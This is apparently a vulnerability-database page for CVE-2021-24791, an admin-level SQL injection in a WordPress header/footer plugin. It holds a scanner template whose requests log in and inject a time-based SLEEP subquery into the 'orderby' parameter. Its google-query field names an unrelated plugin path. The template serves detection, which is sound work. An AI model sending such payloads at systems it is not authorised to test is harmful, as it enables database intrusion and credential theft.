| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2021-24791 | 8 Nov 202120:29 | – | circl | |
| WordPress 插件SQL注入漏洞 | 8 Nov 202100:00 | – | cnnvd | |
| WordPress Plugin SQL Injection Vulnerability (CNVD-2021-101472) | 10 Nov 202100:00 | – | cnvd | |
| CVE-2021-24791 | 8 Nov 202117:35 | – | cve | |
| CVE-2021-24791 Header Footer Code Manager < 1.1.14 - Admin+ SQL Injections | 8 Nov 202117:35 | – | cvelist | |
| EUVD-2021-11703 | 7 Oct 202500:30 | – | euvd | |
| CVE-2021-24791 | 8 Nov 202118:15 | – | nvd | |
| WordPress Header Footer Code Manager Plugin < 1.1.14 SQLi Vulnerability | 16 Nov 202100:00 | – | openvas | |
| CVE-2021-24791 | 8 Nov 202118:15 | – | osv | |
| WordPress Header Footer Code Manager plugin <= 1.1.13 - SQL Injection (SQLi) vulnerability | 11 Oct 202100:00 | – | patchstack |
id: CVE-2021-24791
info:
name: Header Footer Code Manager < 1.1.14 - Admin+ SQL Injection
author: r3Y3r53
severity: high
description: |
The Header Footer Code Manager WordPress plugin before 1.1.14 does not validate and escape the "orderby" and "order" request parameters before using them in a SQL statement when viewing the Snippets admin dashboard, leading to SQL injections
impact: |
Authenticated administrators can exploit time-based blind SQL injection in the Snippets dashboard, potentially extracting sensitive database contents including user credentials.
remediation: Fixed in version 1.1.14
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-24791
- https://wpscan.com/vulnerability/d55caa9b-d50f-4c13-bc69-dc475641735f
- https://wordpress.org/plugins/header-footer-code-manager/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2021-24791
cwe-id: CWE-89
epss-score: 0.05124
epss-percentile: 0.91371
cpe: cpe:2.3:a:draftpress:header_footer_code_manager:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: draftpress
product: header_footer_code_manager
framework: wordpress
google-query: inurl:"/wp-content/plugins/wp-custom-pages/"
tags: time-based-sqli,cve2021,cve,wpscan,sqli,wp,wordpress,wp-plugin,authenticated,header-footer-code-manager,draftpress,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout: 20s
GET /wp-admin/admin.php?page=hfcm-list&orderby=%28SELECT+5619+FROM+%28SELECT%28SLEEP%286%29%29%29uWCv%29&order=DESC HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2,"Add New Snippet")'
condition: and
# digest: 4b0a00483046022100ee71c2d23fdd3f363ca6106000157f6a3e5e415e27723f2184ad2798431d8eaf022100c895d767d40059dfff131b89a359f1ccd4b2ef3bd2d39898d12d7f6b5ea3ef0b:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation